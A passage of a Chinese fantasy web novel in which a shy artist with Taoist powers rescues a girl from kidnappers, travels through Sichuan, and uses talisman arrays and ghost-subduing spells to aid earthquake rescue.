不过小区附近的瓜总是卖的比较贵,还是跑远一点比较好。
这也是吴惟骑着车子跟着妈妈跑出来的经验。
吴惟家在临市靠北的地段,临市热闹的地方在东南边,北边已经很靠近城郊了,距离市中心不算远,只不过这边建设一直不怎么跟得上才显得荒凉一点。
再往北走是一处景区,那边虽然已经被划分到市区,但依旧是农村,吴惟平时买瓜也是往那边去。
夏天晚上出摊的还不少,主路上一路都有小摊,吴惟干脆把菜也给买了。
比超市里便宜还更新鲜一些。
不过买的时候还是比较收着的,毕竟单车不好带。
“早知道骑个电动车过来了…”吴惟嘟囔了一句,随后想起一个好主意,“话说宁淮你之前是不是用怨气捏过空间?”
“呃…是啊,不过也不是很大,装不了这么多东西。”
“等会儿找个没啥人的地方用愿力试试。”
这种城郊找一个没监控的小巷子还是挺好找的,吴惟骑着单车离开大路,七拐八拐就进到这么个小巷子。
用意念想象一个可以装实物的空间把手上的东西都塞进去,过了一会儿,突然手上一空,所有东西消失不见。
“好家伙,车呢?”这真是用力过猛了啊。
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这个空间和之前给张钰婷捏的那个不同,之前的空间只是在现实中分隔了一块地方,将愿力填满,类似于结界隔开的一块小空间。
至于地方小却看起来大,纯粹是因为灵魂本身可以变得占地面积小而已。
而这次的空间不同,它相当于一个异次元空间,或者可以理解成把实体概念化,放进自己意识里,需要的时候再把它实体化。
当然这个转化原理吴惟不懂,他只是根据自己想象捏的这么个空间。
跟正常空间差距挺大的呢,毕竟其他人开辟的空间应该都是须弥芥子这一类恶吧。
至少小说里一般是这么写的。
吴惟准备先把车召唤出来,忽然从小路边传来了一声尖叫随后是几声尖锐急促的喊叫声,因为破音听不太清,似乎是“救命…”
吴惟:“?”
宁淮:“老板你是死亡小学生吧!”
就…无话可说。
这事放以前,吴惟顶多报个警扭头就走,没有战斗力还是自保重要。
但是现在,玄学手段不是不能用在恶人身上:)
其实主要是光报警怕来不及,没能力就算了,有能力的话能救还是救一下比较好。
吴惟没有犹豫,三两步冲到路边。
昏暗的路灯下,凶恶的中年男子用手拖着女孩儿往面包车的方向拽,女孩儿拼命的往后退。
但由于力量差距,她只能压低身形,给男人造成一点阻碍,并拼命呼救。
吴惟冲出来的时候,女孩儿距离面包车已经只有几步路。
来不及多想,吴惟直接召唤雷祖:“九天应元雷声普化天尊!”
“轰!”
话音落,雷声起。
男人瞬间被无形的雷光劈倒,手劲一松,女孩顺势朝反方向倒去,连滚带爬的离开原地。
驾驶座的男人见势不对,一踩油门准备溜,宁淮飞身挡在车前,散出一阵黑雾,口中发出尖利啸。
这黑雾和声音被他用愿力显形,开车的男人惊叫一声,猛地一踩刹车,混乱中打歪方向盘,一个甩尾撞在路边的石墩子上。
宁淮满意拍拍手,这是他最近看恐怖片学来的,对付人还挺好用。
“砰!”一声巨响,吓到了吴惟和刚逃出魔爪的女孩儿。
“嘶…这也太狠了。”吴惟看了一眼面包车的情况,车尾算是报废了,驾驶座上那个男人吓晕了过去,好在没出现什么漏油的问题。
吴惟拿出手机,报了个案,转头看向蹲在路边惊魂不定的女孩儿,叹了口气,将一丝愿力融入她眉心,没再管她。
宁淮晃晃悠悠飘过来:“老板,现在怎么办要等警察来吗?”
“等等吧。”要是提前走了再出事了就不好了。
“行叭,我先回去了。”说完一溜烟钻进吴惟口袋里的骨笛中。
吴惟就这么背对着女孩儿站在马路牙子上。
女孩儿缓过劲,偷偷朝吴惟这边看了一眼,见他背对着自己,松了口气。
刚刚是这个人帮了自己,按理说不应该害怕,但毕竟刚遭受迫害,下意识很怕人。
她想偷偷溜走,可四静悄悄的,黑暗中好像随时都会跳出来什么东西,把自己拖向深渊。
她不敢动了,就一直僵着,明明七月的天气就连风都是温热的,她却冷汗直流。
自从有了愿力,吴惟直觉越来越敏感了,哪怕背对着女孩儿都发现了她的不对劲。
吴惟侧头,用余光观察女孩儿的情况,见她额头冒汗,眼神有些涣散似乎还有些慌张。
回忆了一下自己的半吊子中医知识,朝女孩儿开口:“那个…”
一开口就是老社恐人了,这样的开场反而让女孩儿自在许多,至少心里有些安定感了。
见女孩儿抬头看自己,吴惟才一边伸出胳膊,一边继续说接下来的内容:“要不你按一下郄门穴?”
大概教了一下女孩儿怎么找位置,女孩儿照做了,“在这附近找一个酸痛的点就可以,深吸一口气,按住慢慢把气吐出来。”
郄门,是心包经上的一个穴位,可以缓解惊恐畏人,神气不足的症状。
要说对症可能不是很对症,毕竟他不是正经医生,但是既然当初背的穴位图上写了,那应该是可以缓解的。
别问他为什么背那种东西,创作者就是按喜好任性。
不过真要说起来,光深呼吸就能缓解情绪了,但是一般来说只是这样人心里没有实感。
不一定会起多大效果,配合按穴位,哪怕完全不对症瞎按,只要她心里认为这个可以的,起到的作用都会比不信强。
就像有时候人陷入到一些负面情绪的时候,通过掐手心能够清醒一些是一个道理。
女孩儿跟着做了几次,感觉身上逐渐回暖,虽然身上的汗被风一吹还是会一个激灵,但外冷和内冷是两种截然不同的感受。
她感觉力气似乎慢慢回到身体里,腿也不再发软,慢慢站了起来,小声跟吴惟道谢。
吴惟点点头,接受了谢意,并松了一口气,顺便告诉她已经报过警了。
虽然之前女孩儿听到了,不过这会儿还是说点啥缓解一下尴尬吧。
“再等一会儿吧,晚会儿结束了可以让警察同志送你回家,肯定要比你自己走安全许多。”
“好的,谢谢。”
两人不熟,也不是多话的人,气氛最终还是尴尬起来…
.
29. 第 29 章
“这可真是尴尬到家了。”宁淮无情吐槽。
好在警察来的也不慢,几人被带回了警局,吴惟和女孩儿做了个笔录,看着他们派出一位女警送女孩儿回家,才放心离开。
当然,笔录肯定没说实话了,毕竟鬼怪不是能拿得出手的,吴惟只说自己弄出动静吓了拖人的男人,后来那个开车的不知道被什么吓到了突然开车又突然转向。
反正女孩儿也不清楚自己是怎么救的她。
“什么时候我睁着眼说瞎话的本事也涨了,他们居然信了。”
吴惟感叹之余,那边已经已经得出的结论,“刚刚那长发小子没说实话。”
“做笔录的时候眼神都在乱飘你们就这么放他走了?”
“那你想他说啥?”回话得警员内心吐槽,说我掐了个诀把人吓晕了吗?
这人是上次在别墅帮忙安抚群众的其中之一,他刚刚没有露面,吴惟自然不清楚自己能走有他的功劳,“知道人家帮忙救了人就够了,其他的别管,这人是特事局那边的。”
行叭,特事局,那可不兴问,他们还不想三观破碎道心不稳…咳。
总之特事局的人什么都没提,直接把案子交给警局就说明这是人为的案子,不需要插手。
看这两人拖人的动作那么熟练,肯定是团伙作案,他们努力将这群人缉拿归案就是了。
.
这个小插曲过后,吴惟决定以后还是少出门。
宁淮反而觉得应该多出去转转:“老板你想啊,你这体质是收集功德的利器。”
“本来嘛,那些事又不是因为你到才发生的,只是你在附近,它们朝你撞了过来而已。”
“既然发生事故是必然,那么在眼皮子底下能够出手,总比在不知情的时候有人受到过伤害好吧。”
虽然有道理,但你是为难我社恐!吴惟表示拒绝,他本来就不怎么出门。
宁淮见状,也不再劝了,本来也就是说说而已。
不过答应宁淮去旅游的事,还是要去的,他也该出去放松放松了。
几乎连着画两个动画真是肝爆了好吗!
.
宁淮一直想去九寨沟玩,听说这里的水景非常美,他还没见过碧绿色的水呢。
因为是夏天,很适合去山里玩,尤其是有山有水的地方,相对来说比较凉爽,吴惟从他选的地方一眼就挑中了它。
其实不光是因为他在山里,毕竟他选的山也不止这一个,还有一个理由是距离青城山也相对近一些,至少方向一致。
拜水都江堰,问道青城山。
他一直想去这两个地方看看,虽然知道很多时候文人笔下的景色总是有夸张,但他作为一个画师,说不定能和文人共鸣呢。
采风也是作为一个创作者的必修课。
之后他在路线上又勾了几个地方,准备走一路玩一路,回程换一条路继续玩。
因为这次去的久,吴惟准备多带些行李,好在有了空间,可以只拿一个箱子,一个随身背的包,嗯…掩人耳目。
.
吴惟一边走一边拍照,一路上已经经过了五六个城市,沿途的风景名胜,有些很震撼,有些稀松平常,似乎到哪个城市都一样。
其实也能理解,商业项目嘛,也没觉得哪里不好。
有些景点,比如一些古镇,虽然建的几乎一样,但有一些细微的气质差别。
比如有些城市热闹,但环境很差,人挤人,有些城市虽然人也多也挤但逛起来很舒服,有些城市会有很多人穿着汉服拍照打卡,到了自治州,拍照打卡的变成了少数民族的服装。
这些也是风土人情的一部分。
运气好了能遇上本地的表演,和一些商演不同,那些带有本地特色的表演,虽然不一定精彩,但各有各的特色。
吴惟就这么一路走一路看,偶尔停下,窝在酒店整理素材和用草图记录一些灵感。
有时到了环境不错的地方把闹闹放出来飞两圈。
没错他们还带上了闹闹,毕竟这个孩子不太离得开主人。
自从上次吴惟领悟了空间的用法,就各种尝试,后来突发奇想,试着把面包虫放进去试了一下,拿出来还是活的。
之后他买了小白鼠试了一下,放出来之后小鼠活蹦乱跳的一点事也没有,甚至变更得肥美了。
经过吴惟反复确认,发现把活物放到空间里相当于让他们睡一觉,并且灵魂会受到愿力的滋养,精力变得更好。
确认没事之后,才让闹闹试了一下,确定他不会有事,后面的路上若遇到不适合带宠物的场所就会把它放进空间。
当然,大部分的时间还是脚上栓了绳子放在肩头。
小白鼠最后也没浪费,它被送进一条小玉米的肚子里,至于玉米蛇哪来的,三班同学友情提供,正好是同城。
这趟出来,吴惟的体质在路上也发挥了稳定效果,什么限量的票刚好到他卖完只能多等一天。
什么刚好遇到精神病当街砍人,被他招来雷祖劈晕。
什么景区逛的好好的,被拉去当替死鬼,结果厉鬼被功德所伤,被婴灵扔进了地府下狱。
什么碰到不知道自己已经死了的鬼徘徊人间,灵魂差点被清气同化干净了,吓得婴灵赶紧招来夜游神给人送去速通轮回了…
总之一路上的经历还是足够精彩。
好在中途事儿虽不少,但好歹基本都能很快解决。
就这么走走停停折腾了半个多月,终于走到了川省。
这天中午,吴惟刚在汉城下榻,还没收拾好东西,就听见手机发出了地震预警,还是强地震的。
吴惟:“?”
好在楼层不是很高,吴惟很快就站在了外面的空地上。
此时街道上已经聚集了很多人,汉城是个小城,人不多,建筑也大多不高,哪怕大家都聚集到街道上,也并不会很拥挤。
地震很快就到,微微振动过后,稍稍停了一会儿,紧接着是越来越剧烈的晃动。
“轰隆轰隆”的声音不绝于耳,人群逐渐站不稳,晃晃悠悠扑倒在地,有反应快的提前岔开腿半蹲下来稳住下盘。
一些楼上挂着的一些不稳固的广告牌率先落地,“哗啦啦”跟下饺子似的,人们赶忙连滚带爬跑到距离大楼更远的地方。
过了好一会儿振动才慢慢消失。
吴惟掏出手机看了一眼时间,好家伙原来才过去一分钟。
果然人在艰难地时候时间会被无限拉长。
吴惟左右看看,发现大多数人站在路中间,大楼附近一片狼藉,路边还有一些抓地不稳的小树倒塌砸在路上,但好在受伤的人似乎不多。
似乎祈祷还是有效果的,吴惟松了一口气,手上无意识地解锁了手机屏幕。
一条消息弹出来。
是官方对玄门人士发布的紧急征调。
之前常皓轩和吴惟提到过,[里世界]这个玄门app是特事局的人做的。
虽然会加入特事局的基本上在玄学上都没有什么建树,但有些人还是有些特别本事的。
比如做这个app的人,再比如app上一些好用的补丁。
官方部门向玄门发布任务,一般就是通过它,而玄门人士再怎么说也是需要入世的,为了行走方便,一般有什么官方任务,能够做到的都会尽量去帮一把,毕竟谁也不知道什么时候可能就需要官方行个方便了。
这次紧急任务发布地点是川省,[里世界]自带定位系统,但凡在这附近的玄门人士都会接到这样的消息提示,吴惟的不例外。
吴惟点进去看一眼内容,今天上午的时候川省乐市7.5级大地震,官方正在组织人手救援。
会征调玄门人士,大概是因为他们的一些手段效果能够在科技探查不到的地方查漏补缺,另外也可以解决一些因为伤亡惨重带来的后续影响。
比如解决大量魂魄的聚集,或者提前发现一些疫病的源头。
吴惟没怎么犹豫,就点了接受任务,之后跟着[里世界]的引导,找到一处开阔地带,等人来接。
地震是会造成一些交通不便,汉城这边路上就有不少损毁的车子和一些抓地不稳栽倒的小树,更别说距离震源更近的地方了。
官方派来的是直升机,在道路修复之前这是最快的方式。
路上,还接了另外几个在附近的玄门人士,特事局的同志为他们讲解一些工作安排和注意事项。
其实也没有什么太多的条条框框,大家都知道,玄门各家本事不同,并且因为维护道统并不公开,限制多了反而不好施展拳脚。
“一会儿到地方需要登记一
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下,之后会给你们安排人打下手,希望各位可以施展全力。”
“时间就是生命,之后辛苦各位了。”
几人纷纷点头表示理解。
在这个空档,判官笔把归终符阵的知识也塞进了吴惟的脑子里,吴惟闭目养神,顺便消化其中的内容。
这次任务是救灾,吴惟盘了盘自己手上有什么能够用到的东西。
首先是愿力,这玩意就是一种心念力,用处只有遇到具体问题的时候才能想明白需要怎么用。
不过之前开发出来的空间功能倒是可以帮忙运物资。
至于沟通和聚集愿力给更多人祈福什么的,他自认为影响力没有那么足,但也可以贡献一点力量。
但发愿需要共情,只能等后面走过看过了之后创作出来的东西,才能真正聚集愿力帮到受灾者。
这一点比较遥远,现在不考虑。
其次是符阵,这才是大头,祝福符阵的能力是增强,对任何事都可以有增益效果,如果遇到需要救助之人救援困难,可以画符阵给他们争取更多的生存时间。
刚刚学到的归终符阵,是四大符阵中最特别的,有通晓天地之能,也可预测未来。
归终知来,可不只是说说,归终符阵最特别的是只要落阵在地图上,不需要亲自前往,遍能知晓一些信息。
搜到的信息多少,取决于地图的详细程度,维持符阵的能量,使用者的心念。
这个符阵最实用的一点是,一旦符阵落成,谁都可以用。
至于限制,一个地区只能有一个符阵落成,在一段时间内,每人只能实用一次,因为窃取天地信息,实用之后会有一段时间运势走低。
至于这个冷却时间和事后debuff的时间都不是确定的,他更多取决于个人的气运和能量,端看你用什么交换。
要吴惟说,用军人身上的正气日最好的,因为军人身上的正气和国家的气运是相连的,很快就会补回来。
像救灾这种事,最不缺的就是军人,到时候画一份让特事局转交好了。
地府不掺合人间事,这是人间的灾难,和婴灵无关,就暂时不考虑她了。
另外,宁淮自从那次唱歌开窍之后,学了不少咒,应该也能帮上忙,不过吴惟不敢让他离开自己的视线。
毕竟玄门对鬼怪大多也是忌讳,另外还有一些本身就是御鬼一道,万一把宁淮当野鬼抓了怎么办。
“不过现在是六月底了,马上就要七月了。”婴灵提醒了一声,吴惟没太反应过来。
过了好一会儿,才想起来婴灵说的应该是农历,七月鬼门开。
婴灵:“人间一般都是在七月鬼门打开之时,统一超度亡魂,也有一些安分的鬼走流程,通过审核之后,可以回人间看看。”
“所以那段时间除了夜游神会频繁出入人间维持秩序,人间也会把部分管理权限交给地府。”
“如果人间玄门有人能够联系到鬼神,是可以请他们帮忙的,我也可以帮点小忙。”
吴惟望着窗户外,眼睛么有聚焦,直升机上众人都在抓紧时间养精蓄锐,他思忖道:“你和这边的鬼神有交情吗?”
婴灵自豪地拍了拍胸脯:“判官以上的鬼神我几乎都有交情!”
吴惟:“……”
你们社牛真的好棒。
婴灵:“不过有什么事还是要你去沟通了,毕竟咱们之中你才是代表人间的那个。”
“emmm…那些事之后再说吧。”
让社恐稍微逃避一下。
说起来这种时候挺适合辟谷的,还能省点粮食,虽然应该也不差他这一份,但到底也省出来一份不是嘛。
而且按他的经验来看,以前体力不好的时候,吃东西饿了容易低血糖,但是如果辟谷,甚至不会有这方面的问题。
这点婴灵还真不知道,毕竟她没当过人。
不过说白了食物也是提供一些人体需要的能量,这方面直接实用各种气也是一样的吧?
吴惟准备试试,至少他有经验,不至于会造成什么不好的后果,导致他麻烦别人又帮不上忙。
至于现在,提前准备一下好了。
小小打了个哈欠,吴惟小声向特事局同事要了一份乐市灾祸卫星地图,准备先观察观察,之后好动笔。
.
30. 第 30 章
登记处,吴惟跟着众人一起填完了表格,特事局的同志带着一队军人过来,“登记完的同志请来这边挑选两名搭档。”
“能力比较特殊,需要更多人手的话,我可以向上申请。”
玄门之人一般都有比较特殊的识人手段,有些天赋高的能一眼找到最适合和自己搭档的人选,所以才会让他们自己选,而不是直接安排。
吴惟朝那边看了一眼,好家伙还有个熟人。
一米九的大高个,哪怕在一群身高都不低的人堆里也显得鹤立鸡群。
此人也是吴惟的同学,名叫常笑,比他大两岁。
大学军训之后当过两年兵,才回学校继续学业,没想到毕业之后又回归军队了。
吴惟不知道别人是怎么看人的,反正他自觉也没什么识人能力,很干脆利落的指了常笑和他身边的小兵。
毕竟社恐还是喜欢身边有熟人,果然他的运气总不会很差。
“我们现在去哪。”常笑是知道这个老同学的脾气的,半天憋不出一个字,干脆先开口。
说实话他也很惊讶,没想到会在这种地方看到老同学,并且是作为特殊支援。
“嗯…”吴惟沉吟了一下,问道,“我能见你们领导吗,我的能力比较特殊,是给别人用的。”
常笑点点头,带着吴惟去他们军队驻扎的帐篷那边,一路还算顺利,这附近的路已经清理的差不多了,特殊时期,并没有设太多岗哨。
大概报告了一下来意之后,常笑就直接带着吴惟进去了。
帐篷里没几个人,军队那边的司令和副司令,特事局的局长,后勤部长以及常皓轩。
看到两人,常皓轩还挺诧异,没想到应该远在千里之外的吴惟竟然出现在了这里,不过现在不是寒暄的时候,他直接问了他们来这里是有什么事。
“我有个提供信息的能力,如果是军队来支付代价,会比较有性价比一点。”
随后吴惟不清楚这些人知不知道归终符阵,大概解释了一下它的作用。
别说常皓轩了,就连见多识广的局长都感到惊诧。
“归终符阵?”
特事局和隐峰交好,别的不说,至少一些不涉及到修炼法门的档案隐峰是愿意共享的。
是以他对那上古四大符阵有些了解,之前还叹息,如果能有人画出此符阵,他们救援肯定会快上一倍。
在收集信息和预测的效率上来说,归终比其他任何法门都要简单快捷。
“是的。”
“需要准备什么?”
“一张覆盖受灾区的卫星地图,最好用硬一点的纸,不容易被破坏,越详细越好。”
灾后地图肯定跟之前有所不同,所以卫星地图是最准确的。
副司令最先反应过来,当机立断,吩咐人去准备。
军队办事效率很高,很快吴惟要的地图就打印好了,贴在木板上运了过来,为了信息尽可能多一些,整张地图占地面积不小,大概是a0纸张的4倍那么大。
吴惟从意识空间里取出判官笔,大笔一挥,用愿力作颜料,趴在地图上涂涂画画,一时之间天地气机翻涌,特事局两人给大家都开了天眼。
只见一缕缕五颜六色的光芒在空中流转,形成一道道奇特的曲线缠绕,汇聚在地图上,形成错综复杂的纹路描绘在地图上。
画成的线条随着时间会产生特殊的律动,有一种说不出的玄奥。
半晌,吴惟终于勾完最后一条丝线,眼前一黑,差点扑到地图上。
常笑一直关注着吴惟的情况,见状赶忙把人捞起来,放到一边的凳子上。
“完成了,之后使用只需把手放上去,默念自己想知道的信息就可以。”
“你们是军人,气机和国运相连,支付的代价很快就会被补充回来,比普通人更适合使用它。”
“但也别让同一个人太频繁使用,毕竟还是会对人运势有影响,万一在运势低的时候出什么事就不好了。”
吴惟的声音听着有些虚弱,不过还是坚持把需要注意的点说完了。
司令点点头:“好,辛苦你了同志,身体没事吧,要不要让人来检查一下。”
“不用。”吴惟摇摇头,“只是力竭,休息一晚就恢复了,您先试试效果吧。”
毕竟第一次画,虽然有一定把握,但总得看到实际效果才能放心。
“好,有什么不舒服的一定要提,”说完司令收起和蔼的笑容,一脸严肃得把手放在地图上。
乱七八糟的信息冲击司令的大脑,好像看到了,又好像什么都没看到。
见状他不再耽搁,直接问了出来,“请告诉我现在情况最紧急的救援对象位置。”
大脑瞬间为之一清,数条信息条理清晰的出现在脑海里。
位置、现场情况、救援对象的情况、身体状况,以及可能受到的威胁等。
司令赶忙记下这些信息,转头就把刚刚看到的信息交代下去,让附近的人先去这些地方救援。
把事情都交代下去之后,没过多久,这边就收到了一队的消息,说根据情报,找到倒塌房屋下的一家三口,丈夫腿被砸到了,若是再晚一点可能就要截肢了,女主人抱着孩子,用身体为孩子挡下部分落石,身命体征很微弱,正在抢救,好在孩子安然无恙。
和司令看到的一模一样,他激动地快步走上前,握住吴惟的手上下摇了摇:“小同志,真的太感谢你了,有了这地图,能多挽救更多人的性命!我替人民群众谢谢你!”
说完他严肃地向着吴惟敬了个礼。
吴惟受宠若惊,整个人都僵住了。
“没有没有,这是我应该做的!”吴惟差点跳起来,好在稳住了。
做好事不居功,真是好孩子啊!
司令看出吴惟的不自在,没多说什么,这件事他记下了,之后一定会给他表彰。
“现在天色也晚了,笑笑啊,你先带这位…”之前几人进入状态速度太快了,忘记问对方名字了。
“吴惟。”常笑面无表情地补充道。
“你先带这位小吴同志下去休息,”吩咐完,司令语气一转,对吴惟说道:“小吴同志有什么需求尽管提,咱们现在虽然条件艰苦一些,还是能够提供一些生活保障的。”
“好的。”吴惟乖乖巧巧应道。
“是!”常笑对司令敬了个礼,对吴惟说道,“请跟我来。”
吴惟点头,跟着常笑离开了,只是背影看着有点落荒而逃的味道。
副司令看着好玩,难得露出了笑容:“这孩子挺害羞!”
几人都笑了起来。
从来这到现在,沉重的心情终于轻快一些了,但还有人等着他们去救,不能放松。
“行了,干活吧,高松啊,去调一队人过来。”
.
吴惟跟着常笑一路走到住宿的地方,才稍稍松口气。
常笑带着吴惟到一处帐篷里,之前那个小兵已经坐在里面吃饭了。
之前吴惟说要见领导,常笑带他过去的时候,他就先去跟着别的小队救援去了,到天快黑才回来,这会儿累的不行。
看他们回来,顺手把他们那份饭塞了过来。
“那个,我就不吃了,最近辟谷。”
常笑皱眉:“不吃怎么行!”
“我修道。”吴惟仗着常笑不了解拿着话堵他。
常笑想象今天见到的场景,认可了他的说法,但是:“你是为了剩一份饭才辟谷的吧。”
虽是问句,语气却很笃定。
吴惟他当然不认了,“怎么会,我就是为了保证体力。”
“行了不跟你说了,我先睡了,明天早点起来去灾区看看。”
吴惟上床的动作很利落,生怕某些人再开口。
小兵…姚洞看看队友,指指吴惟那份饭,无声地问了一句,“现在咋办。”
“等会儿看看谁没吃,送过去。”
“行。”
一夜无话。
吴惟在修炼中度过了一晚,早上起来神清气爽。
“虽然很舒服,但是吧这种事太折磨了,感觉时间都拉长好久好久。”
要不是救灾期间最好可以保持好的状态,他才坚持不下来呢。
三人吃过饭,吴惟带着两人去信息处。
昨天晚上司令等人琢磨出了归终符阵的规律,对于军人来说,承担代价的时间大概是1-5小时,身上有军功的时间相对短,但时间上并不绝对。
正好可以在他们换班以后,使用之后正好回去倒头就睡,六个小时之后再起来干活,非常保险。
收集来的信息汇集到一处,由专门管理信息的专业人士分发。
刚刚吃饭的时候姚洞就打听到了这些,吴惟去信息处是为了看看有没有适合自己做的事。
“你好,请问有没有什么比较困难,需要时间的救援任务。”
吴惟手上现在最有用的就是祝福符阵了,能想到可以帮上忙的地方就是给救援争取时间。
情报处的人很快就给他找到几条符合条件信息。
其中一处距离最近,是一处砖混结构的楼,经历地震后形成了叠层式倒塌。
之前红外感应到里面有存在生命的迹象,因为受灾面积广,归终一次能抓取到信息并不多,所以很靠运气,这栋大楼就没有这个运气了。
司令下达的命令是优先询问情况比较紧急的,虽然第二波第三波救援已经到来,但人手依旧不是很够。
吴惟到达那处坍塌的时候,救援正如火如荼的进行,吴惟看到他们正再楼板上开口。
他招出宁淮,让他下去看看情况。
宁淮穿墙而
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过,不一会儿就回到回到吴惟身边,脸色不太好看,“下面只有三个活人了,她们运气比较好,刚好楼板掉下来的位置被两边撑起来了,但是那个空间很小,很闭塞,那三人的状态不太好。”
“对了是那个位置,”宁淮指了一下,“还要靠下三层。”
吴惟把情况跟常笑两人说了,常笑让姚洞上前去和对方交涉。
他昨天紧急接到任务,接下来一段时间会作为吴惟的警卫员活动,所以不能让他离开自己视线。
“对了,里面死亡人数有多少?”
“大概五十人,”宁淮顿了一下说道,“我是说鬼,有一部分尸体已经被运出去了,但是魂魄都沾染了怨气,还在原地停留,他们好像离不开这里了。”
婴灵:“这不对!一般来说死后灵魂会直接跟着接引进入地府,除非有执念否则难在人间停留。”
“就算是天灾非自然死亡,这魂魄停留在人世比例太高了。”
吴惟脸色也变得不好起来,他本来就感觉里面怨气特别重,但是毕竟大灾面前,死的人太多了,到处都是怨气,他也没想太多。
按照婴灵的说法看来,这里的界门是出什么问题了吗?
“这种情况,你们地府管吗?”
婴灵:“你先到处看看,多收集点情报,等晚上我去召唤城隍问问情况,如果真是界门出了问题,就是地府的责任了。”
吴惟点点头。
不过当下的事也要先解决一下,吴惟不太熟练地捏了个诀:“无地无极,乾坤借法。护我真身.昧火出鞘!”
金色的火焰凭空出现在吴惟身前,这火一般人看不见,但在常笑眼里异常鲜明,他有些诧异,昨天是开了眼才看到那么多东西,那这次呢?
吴惟没发现他眼神有什么变化,这把三昧真火是用功德凝聚的,他身上愿力虽然更多一些,但功德对怨气的克制要更明显一些。
这楼中五十多鬼魂,他自问如果不用点特殊手段,根本打不过,更何况他们的尸体还在,现在天气基本是一年中最热的时候,秽气肯定不少。
既然如此,那就只能借天地之力来驱散了!
火焰随着吴惟的手势包围了废墟,周围的人依旧在忙碌并没有什么感觉。
“法由心声,生生不息!”手诀一变,火焰疯狂借由地气滋养己身,不断壮大。
“天地自然,秽法分散!”
忽然,熊熊燃烧的金色火焰以摧枯拉朽之势向着废墟直冲过去!
“滋啦~”分散的怨气瞬间被驱散,厉鬼们感受到了危机,一个个怨气不要钱地往外放,双方一时之间打的有来有回。
本来是想趁鬼不注意,一网打尽,结果还是小看那些厉鬼了。
一炷香的时间过去了,吴惟有点顶不住,额头开始往外冒冷汗,金色的火焰和怨气互相消耗,双双锐气大减。
“消耗战也不是完全没有胜算。”吴惟冷静地想道。
要不是祖师爷的雷过于刚猛,若是这群鬼没有做过什么,他用雷把人霹了有伤天和,他都想无脑召唤雷祖了。
毕竟那是真便捷好用啊。
时间一分一秒过去,眼看就要成功了,厉鬼身上的怨气十不存一。
忽然,秽气仿佛一瞬间有了意识,猛地钻到厉鬼体内,一声声凄厉的鬼哭,怨气瞬间大涨,将金色的火焰吞噬殆尽。
“噗…”吴惟瞳孔微缩,一口血喷了出来,身体晃晃悠悠到退一步,被常笑扶住后背。
好在吴惟来的时候就降低了自己的存在感,不然不用到现在了,之前一动不动,盯着废墟的时候,就该被人发现了。
“你没事吧。”常笑狠狠皱眉,“怎么回事,对面那东西很强?”
一股暖流从后背掌心处涌入体内,让刚刚因为被反噬变得浑浑噩噩的脑袋瞬间清醒了。
暖流顺着他的小周天转了一圈,安安静静躺进了丹田处。
婴灵:“好浓郁的浩然正气!”
“你…”吴惟看向常笑的眼神有点怔忪。
常笑有些莫名,“怎么了?”
吴惟自然是以为常笑也是修行人,但下一秒婴灵就否定了,“他没有修行,你的同学果然都不一般。”
“我不知道人间怎么形容的,但我能感觉到的是这就是个极品奶妈,行走的蓝条,而且他自己还意识不到!”
奶妈这个词,还是之前玩游戏学到的。
“他可以无条件把自己身上的能量转移给他认为需要的人,就像现在,仅仅是因为担心你,就自发的为你疗伤了!”
“没什么。”吴惟笑了笑,狗东西,让你作弊,现在你有蓝条我也有,端看谁能压过谁!
仅这一会儿时间,吴惟感觉体内能量已经充盈起来。
“笑笑,把力量借我,我能收了他们。”
.
31. 第 31 章
一点朱砂映衬着那双笑弯了的丹凤眼,带着难得一见的少年意气。
常笑还是第一次见老同学这么恣意张扬的样子,愣了一下。
虽然不明白他说的什么意思,常笑还是点了点头。
吴惟感受着身边越来越充盈的浩然正气,再次掐起了手诀,那股正气如臂使指,没有一丝滞塞。
“天地自然,秽法分散!”
磅礴的浩然正气压向厉鬼,虽不像功德那般可以消融怨气,却能压的它们喘不过气。
吴惟指挥着正气不断压缩厉鬼的生存空间,鬼怪们发出痛苦尖利的声音,一声高过一声。
“宁淮,收网!”
话音落,宁淮双手掐诀,快速用功德编织了天罗地网,“敕!”
罗网极速收紧,怨气被正气护持着的功德疯狂蚕食,鬼怪的挣扎越来越弱。
短短几息之间,怨气被几乎被消磨殆尽。
宁淮在吴惟的示意改用愿力编织了一个罗网,将似乎清醒过来的鬼拉了过来。
“发生什么事了?我为什么在这?”
“我不是在看电视吗,怎么…欸,楼怎么倒了?”
“怎么回事,这是哪?是哪个拆迁工地吗?我怎么会在这里?你们是谁?”
“你傻吗,那是我们住的楼,不是什么工地!”
“……”
“安静!”吴惟脸色有点黑,本来就受了内伤,哪怕有浩然正气的修复,也不可能一点影响也没有,之后又消耗了一波,今天的精力都消耗光了,还要听这群鬼吵闹。
脾气再好都受不了!
众鬼噤声。
不是他们听话,也不是吴惟气势足够压鬼,主要是因为他用上了言灵,直接把他们禁言了。
吴惟没再理他们,稍稍观察了一下周围环境,用愿力在废墟之上点了几个点,一个简易的祝福符阵落成。
他能做的不多,希望那三个女孩儿能顺利出来吧。
做完这一切,他才把视线转回那五十多只鬼身上。
附近因为地震,地脉受损,地气外溢,再加上因为死人而飘散在空中的秽气,哪怕在上午阳气升发时的太阳底下,也没有出现被迅速同化的情况。
只是到底不太好受,若非被愿力禁锢,早就四散分逃了。
此时的他们终于后知后觉想起来自己死在了地震中,心中悲戚,但并没有再生怨气。
“冷静了?”
吴惟的语气过于冷淡,加上之前被暴打的记忆复苏,众鬼不敢忤逆,纷纷点头,一个个乖巧的不行。
吴惟这才撤销禁言咒。
婴灵鼓掌:“吴惟很适合当领导呢。”
吴惟:“你饶了我吧。现在怎么办?”
婴灵:“想要度化得等晚上,不过我觉得可能人间暂时需要他们?”
吴惟;“行,那我先收起来好了。”
吴惟低头,找了一块不大的碎石,在里面开辟了一个不算很大的愿力空间,冲五十只鬼招招手,“先进来,之后会安排你们去地府。”
众鬼道谢,凭借本能进入了空间。
做完这一切,吴惟又是腿一软,真的要感谢常笑几次挽救他于摔倒一身灰中:)
“用我背你吗?”
虽然常笑只能看到吴惟的金色火焰看不到怨气和厉鬼,但其过程之艰辛他是能感觉到的。
看着摇摇欲坠的吴惟坚持到现在才倒,常笑肃然起敬。
吴惟的不矫情,点点头同意了。
姚洞刚刚看到吴惟两人在忙,自己又帮不上什么忙,就没过来,帮那边消防队的同志干了一些力所能及的活。
看这边结束了,才和那边说了一声,小跑回来。
“您没事吧。”看着蔫巴巴趴在常笑背上的吴惟,姚洞有些担心。
“没事。”
“这是第二次脱力了,你是不是应该吃点饭。”才这点重量。
吴惟有气无力地说道:“……我脱力是因为能量用干了,食物的能量很少的,还不如一个小周天。”
“你心里有数就好。”常笑不再劝。
